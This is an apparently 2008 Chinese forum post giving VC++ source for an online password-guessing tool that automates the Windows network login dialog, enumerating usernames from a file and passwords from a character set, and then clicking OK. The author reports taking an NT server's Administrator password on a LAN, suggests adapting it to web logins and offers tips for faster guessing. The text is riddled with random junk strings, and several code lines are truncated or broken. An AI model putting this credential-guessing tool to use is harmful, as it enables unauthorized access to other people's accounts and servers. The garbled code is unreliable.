【精品之家】 » 『系统交流』 » 『Vista / Win7』 » Windows网络用户登录密码的猜解

查看完整版本: Windows网络用户登录密码的猜解

mxh1998 2008-3-25 18:33

Windows网络用户登录密码的猜解

　　

   Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。 \*BgS^:Rk9k
K7]1z9r8`B0pl
+s*p~Zd"` D&M
VZle!sEe

qrH1p.D%Dm R
9ZaG1X'eZ

利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来，就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码，进而完成网络用户名及密码的枚举猜解。 DwM*PuC`.u
2Ql&|\N7pX

一、猜解过程流程：

为说明问题，下面只写出主要的过程。对于关键过程给出用VC  实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完，程序将再枚举一个新的用户名，然后重新枚举这个字符集合。关于源码中各函数的具体用法，请参阅MSDN。关于多线程的用法，可参阅《VisualC  技术内幕》。

下面给出关键流程的源代码

n:t(L)gCk;[K[E-H8b
1．全局变量：

struct _Thread
Xw LIH!G@"HET
{

CWinThread *pThread;
T(BWZE7~rI!BT
};
S;`RL$G l
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc：窗口枚举线程数

CEvent gEventNextPass;//取下一个密码，为实现同步引进 &|/n)X5ep+|L
#H%_)y(m?"q+~!D
CEvent gEventPassOk;//已取得密码，为实现同步引进

CEvent gEventNextUser；//取下一个用户名，为实现同步引进 Kc1ZA.xr
\i7l(gg.v
CEvent gEventUserOk;// 已取得用户名，为实现同步引进 5`ZTS:Z`a.H
c(_lGo&P/C;^n ]
CMutex gMutex;//互斥量，只允许单线程访问
;T!auX2{CB
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。 -j2CFGFc.P.r
v)\G.X7I;{"r;G
char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名
\$Ae`$e7B

2．线程启动：
(Hh0bV\{+f-|
{ )K/BP&d!W{$Q
.wMW]iH
file://密码枚举线程

if(PassTread[0].pThread==NULL)
4\ mr"E-S7MW7F
{ )[s)K3\-E I$e

PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
D&H~P3Qk{
THREAD_PRIORITY_LOWEST);

PassTread[0].pThread->m_bAutoDelete=TRUE; b7l{9E$mTpj@
@(U#tTa8W
file://这里略去了从文件取得密码的代码，这些代码和用户名枚举过程的代码差不多 Kmjh_ ^+Ie3n

} ~$PO.]:rI/^%K
s(A)W6^m)C"l7{
file://用户名枚举线程

if(UserTread[0].pThread==NULL)
9E Cb+h+g
{

UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL, rt6s j#x}.jP;D]&WH
g.~/{S-JrXLu*x
THREAD_PRIORITY_LOWEST);

PassTread[0].pThread->m_bAutoDelete=TRUE; y;I;a%Wg
$qm]6p+};X6O
} (J;e BW/@6RN(q~
,O/X[j4Oz0L&U7}
file://窗口枚举线程 C4^PW*l`2T`4Z
4}s\jXnE[
for(int i=0;i

{ 3f9hn_Ep
1\$Nq^YzY7j
if(WindowThread[i].pThread==NULL){ ,QZo`[JB?ka

WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,

THREAD_PRIORITY_LOWEST);
[D#L\"c6Yw,e
WindowThread[i].pThread->m_bAutoDelete=TRUE;

}
p}&LG?
} 6mP1Fm rs
%],D'G-h`

3．窗口及子窗口枚举
9C3j8ae8Nw.k
UINT ThreadProc(LPVOID *pPraram) PRIVK%V1TzI"i
ba3e,VcA#s dc(X
{ ctO3rc6j,|$fT2SR

while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;} hM&LV*N(l

return 0;
c"TK&d RB:l7v
}
O3Fh*y*E*G;we;k

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) a{ E$?gE/t

{
~GK{Vg
char lpWinTitle[MAX_LINELENGTH]; GBfScN\

::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1); [w5kHfhj

if(strcmp(lpWinTitle,sTitle)==0)// sTitle：网络登录窗口的窗口名

{ gMutex.Lock(INFINITE);//防止两个线程同时操作
'r"Q0aHUE8Q
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL)); )A0K$R QCk3M{c
sU|:lG
gMutex.Unlock();
+D1hZ4y)V2{1kTi
return FALSE; J+Dy]K'p\'|7S
(a{d3` W.yoi
}
)H+Y_Mjba?Qy
return TRUE; &G8VoJ{[-?.pN*B
H F]f_iU
} J hgr#@@u

BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
+n5\WI6xa
{

char sChildName[MAX_LINELENGTH]; &\["G6_4rd o
-B7W*{*@]7NG
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);

file://处理编辑控件，登录窗口中一般只有两个编辑框，可用MicroSoft Spy  查看窗口的
ey!D"i,D-o k1\
file://各个子窗口 b*|'I:{'J IH|a

// 的属性。通过对比各控件的风格或名字来区别各控件。

if(strcmp(sChildName,"Edit")==0)

{ DE)_9@H wf
!J)wY-[d8X![{mwB
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE); R+Q+v-]l3W

if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件 D [OP3SmF4jj
:]n%Rk/kb6V
{ e jn$X1k7|
v3`_]1^d
gEventNextPass.SetEvent();//发送“新密码”事件
#ep2gq+I~]
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件
V)[2a6@*zE-Cts&v
gEventPassOk.ResetEvent(); file://复位
z5T ]!Uj
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
2L~~YF0e(O g
file://把新密码填到密码输入框，也可用SetWindowText（）

bPass=TRUE;//记录密码已填入 +cmd$T9vPt
?%e M@7kZv
if(bUser&&(hOk!=NULL))//如果用户名已填入，“确定”按钮已找到。 +QR?!iz(kk WO
u/D6Ht:^!h7KX
{ k@k-p+X6{"jzK

::SendMessage(::GetParent(hOk),WM_COMMAND, 7}[gM bm\M

(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); 'dz%]!D ww"tB@C;H,v
5o$]/[0[j4he:Yp
file://向“确定”按钮送消息，参照ClassWizard的消息映射
1s hqL&X
bUser=FALSE;bPass=FALSE;hOk=NULL; [1w*mr:O

file://完成一次登录，初始化 'G;XdPo:m
[Id#@DY}!V:z
return FALSE;

}
Hz'h+Ma4r[
return TRUE; ,EG!w8},Y5ctZd+ZD
iLW0p7TM]
} (y5ST5xQJuV4I
+Oc0?c6tH
file://非此即彼，这是用户名输入编辑控件 %k}N B8UE't

if((dWinSty&ES_READONLY)!=ES_READONLY)
9^cU2rmv `:o-J
{ 2]m1N_3W

::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
)Wd8O^$}_"b*p E5l
file://把新用户名填到用户名输入框，也可用SetWindowText（）
?/?.Ey$X,l
bUser=TRUE;// 新用户名已填入用户名输入框
e6_S'Oe8Gq
if(bPass&&(hOk!=NULL)) 如果密码已填入，“确定”按钮已找到。
/Zg#W$].Sp!p,D a[B$T6e
{
rv&F3Lptp;z(?
::SendMessage(::GetParent(hOk),WM_COMMAND, /p$J.Vf|s
`;cP.bLB
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
8he n;ccj7F
file://向“确定”按钮送消息，参照ClassWizard的消息映射

bUser=FALSE;bPass=FALSE;hOk=NULL;

file://完成一次登录，初始化
#`c L3MDQ ?Z
return FALSE; `,^!Z~7[?
(q E%Q2}'rR Yg
}
n;Wz]1{B,bw:\
}
;LRC4^ }sMH
return TRUE; xt3AOr

}

file://如果是按钮控件 *T(|.[&LV|5r
B3c [YkNJa
if(strcmp(sChildName,"Button")==0)

{ b^^.Z;s

char sChildTitle[MAX_LINELENGTH];

::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1); }i;I,W T)PZ
B1gSE2x/y7b.r&rmE
if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE; Q8q? gbyR
E\3J-J'Z8_,z\0z
// sButtonOk：登录窗口中“OK”按钮的标题 K? i"K4G$}4QVeH

hOk=hwnd;//记录“OK”窗口句柄
S#y Wk)? ?E%Y
if(bUser&&bPass) )R PQw'L,A2BT!p
$W3ZGQx_
{ WZu7fo7H|\
-}"S:hq {!rf
::SendMessage(::GetParent(hOk),WM_COMMAND,

(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); SB r9Wx
.B7ZgD)JV ka)M
file://向“确定”按钮送消息，参照ClassWizard的消息映射 o-S F5NB7d-e*r
$~ fLS*RS,B1a
bUser=FALSE;bPass=FALSE;hOk=NULL; 4`$WI:`;E7_,Ic$p
(K@)_ep%y9i!B&`
file://完成一次登录，初始化 du!xJP W;q6RQ.e

return FALSE; .Cmu1I,P7gQ

} Ib!}%y l*AM
*I_h|x I2_I7j
return TRUE;
r)sB~7ZHc
} /V:} l$X9S8| D]

return TRUE; +d a _^/Eu%kx r
;|$E-S)O7LYG
}

bcV l0zd4xh w
4．用户名枚举： ~-aH%A"zOfO

UINT GetNextUserF(FILE *file) |dpk/a1m
!H{I&j0f#T%BbuY
{

char cUser[MAX_LINELENGTH ],*token;
_7c!Px'^!g[]A
FILE *fUser;
$l%kcj/}5a?
int i,flag=0;

if(NULL==(fUser=fopen(sUserRoad,"r "))) <A href="file://sUserRoad">file://sUserRoad</A>：是保存用户名的路径及文件名 m uE(_#ZX4E%["RR

{

MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0); K^"sae&X

if(fUser!=NULL)fclose(fUser); u)DoanV?)n
I&`jtO!o4n6S!aD
return 0; (s [J*h&o

} !c.OW.g8DSX%n4o

while(!feof(fUser))

{ n4]O0},Q"~P
SI(M'l#Z `E;~\
for(i=0;i "Z Zc;q/E4k

if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
?U'j!b4[
{

bCheckUser=FALSE;//记录用户名枚举完 L0m!Yse
-pMR2u3u2Ucx
fclose(fUser); 9o+z4I1q@` Zk
U{$[A+qz Cgtp
return 0;

}
y4o4l\)eyL
token=strtok(cUser,SETPRATE);// #define SETPRATE [/img]do
N*m0d}"|?
{
m)P(v+rM?
WaitForSingleObject(gEventNextUser,INFINITE); S9@$_)FGk%w4R9y
]u5[;` znb
// 等待“新用户名”事件

gEventNextUser.ResetEvent();//复位。 H.o:R,m#T7c)v.g

for(i=0;i p7S*NTijf4Zh

strcpy(cCurrentUser,token);//改变当前用户名。

gEventUserOk.SetEvent();//发送“用户名完成”事件 FfZ3o6cju*o;u

}while((token=strtok(NULL,SETPRATE))!=NULL); 5|Ht8jN$Wg

} 'qk"M5M f*iU

return 1; OyD:t[_s m.}
-g'?0TQS
} Qc_FA-BeS'k

_-V$hEB2@
CV1k6CZ/a
5．密码枚举： qbB*i^9p&P[!od
9W?*J5qXe[
UINT GetNextPassL(LPVOID pParam)
"N|kFN:cR3^5D
{ K~!L6b4K

int i,j,iPre; P(tBp@)E4@
BukgUPH,y[
char cBuf[MAX_PASSWORD_LENGTH]; ,CuUac0H

BEGIN:

for(int m=0;m
Cy"bT}9O
{

<A href="file://char">file://char</A> cCurrentCharList[MAX_CHARLIST_LENGTH]：当前密码组成字符集合列表 $H+{({i&RH_Ij&c0f
};h0n2q(GV1F
file://例如：cCurrentCharList =“abcd”：表示枚举的密码由abcd组成
:nbN w$E"uC[
<A href="file://int">file://int</A> cCurrentPCList[MAX_CHARLIST_LENGTH]：指向当前密码 5l8zk'p8I:j'?k9}6U
U\:\ r/wT$Gr
file://组成字符集合列表的列表
$a3G@+t2VF
file://例如：4444：表示生成密码为“dddd”， x0i9_(G)D Z^

<A href="file://4231">file://4231</A>：表示生成密码为“dbca”......
m KIzi"D2\4seM
cCurrentPCList[m]= iCharCount;
b7A us ]w
// iCharCount：密码组成字符的字符个数

}

while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束 }b9^4` L(m3g!{"@,c
{9wa8_:A4z
{ T\F!i$YC"J
%jp0y"X ~
for(int n=0;n xI%U'U%f,o"QGT

while(1)
OpJ Qt!F\9B)}^:W
{ !wPe%}z\

for(i=0;i
0t5K1U!e*Z
{

cBuf[i]=cCurrentCharList[cCurrentPCList[i]]; 'Q:D3X#e|}3s

}
:F@s-v#VUn
WaitForSingleObject(gEventNextPass,INFINITE); z.E|6kj

// 等待“新密码”事件 5PF2C&CA
6s#y'@9xI-d)N
gEventNextPass.ResetEvent();//复位。 u+W+H$piOE
(H,Y4PZ&v2{%_
for(int n=0;n VQ6cCUD]

strcpy( cCurrentPass,cBuf);//改变当前密码。 1tj!V\+`/M2fC
]q)kf mTs5^1M
gEventPassOk.SetEvent();//送密码完成事件 1HAiY%Y
;Tu^1N|.uo
file://进行cCurrentPCList数组的处理。 8lL2J_2\5sT]

if(( cCurrentPCList[i-1]--)==0)break;

}
9[{8GcYi)zW
file://最后一位复iCharCount;；

cCurrentPCList[i-1]= iCharCount;

iPre=1;//借位标志 +X1Z3_CT?0eaK

for(j=i-2;j>=0;j--) ?`5GpU7R6j

{
*k Z@,D+DG
if(( cCurrentPCList[j]-=iPre)<0)
)hZ)oV9FaW^z4q!U
{ Y0qq$^%|a[3{?
dl3wm%Z_E6g @i]
if(j==0)break;//结束。 x;v'PY$ClBw
Da4g{3Xq
cCurrentPCList[j]= iCharCount;iPre=1;//复位J，向上借位。
N]4r3B!E r
}

else {iPre=0;continue;}//不必再向上借位。 V9o [&T~I l

}
_Y0l_p?]0_
}
y"]"xK|F
if(cCurrentPCList[0]<=0) +HJ6iY,Z+W
%y:E9~,Zq)z"EZ0E
{

file://复位，进入下一个循环。

if(!bCheckUser)//如果用户名枚举完
W1OoXQ
{ $b&W8n"wW

MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0); 3E+s$@*TX&V1\?
9{a c$x,zHr$l:~
return 0; 8]hVBm'X+^0m
m_%y(V0c5s0S;Z/J1I"g1I6w
} $N\{:}.~S
Dx)U6`|#q)M
gEventNextUser.SetEvent();//发送“新用户名”事件 B C5jPB

WaitForSingleObject(gEventUserOk,INFINITE);

file://等待“用户名完成”事件 5~{G%`p

gEventUserOk.ResetEvent();//复位。 ^&j0\e4kv

goto BEGIN;

}
3U/m%W*]%}f
return 0;
c[;N1MvUU
}
%jJe5PN fc#S
E-u:jzYW,l(AX_ Z
二、在局域网及互连网的应用： 'AxX7d U8z,l'H'p gu
$qS*]2fr6^
笔者利用按照以上算法编写的软件，在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。

)UrQj;L&ym.x
三、存在的问题及解决办法： SiVrK{6i

在10M/100M局域网里，登录WindowsNT服务器失败后，大约0.7秒钟左右后，才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框（从“网络邻居”只能打开一个网络登录对话框），这样可成倍提高猜解的速度，但仍是太慢。此外，可利用几台计算机同时猜解。至于猜解互连网上密码，其速度可想而知了。不过也没关系，许多的密码是数字组成的，更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的，可以在枚举时先枚举使用频率高的。

页: [1]

查看完整版本: Windows网络用户登录密码的猜解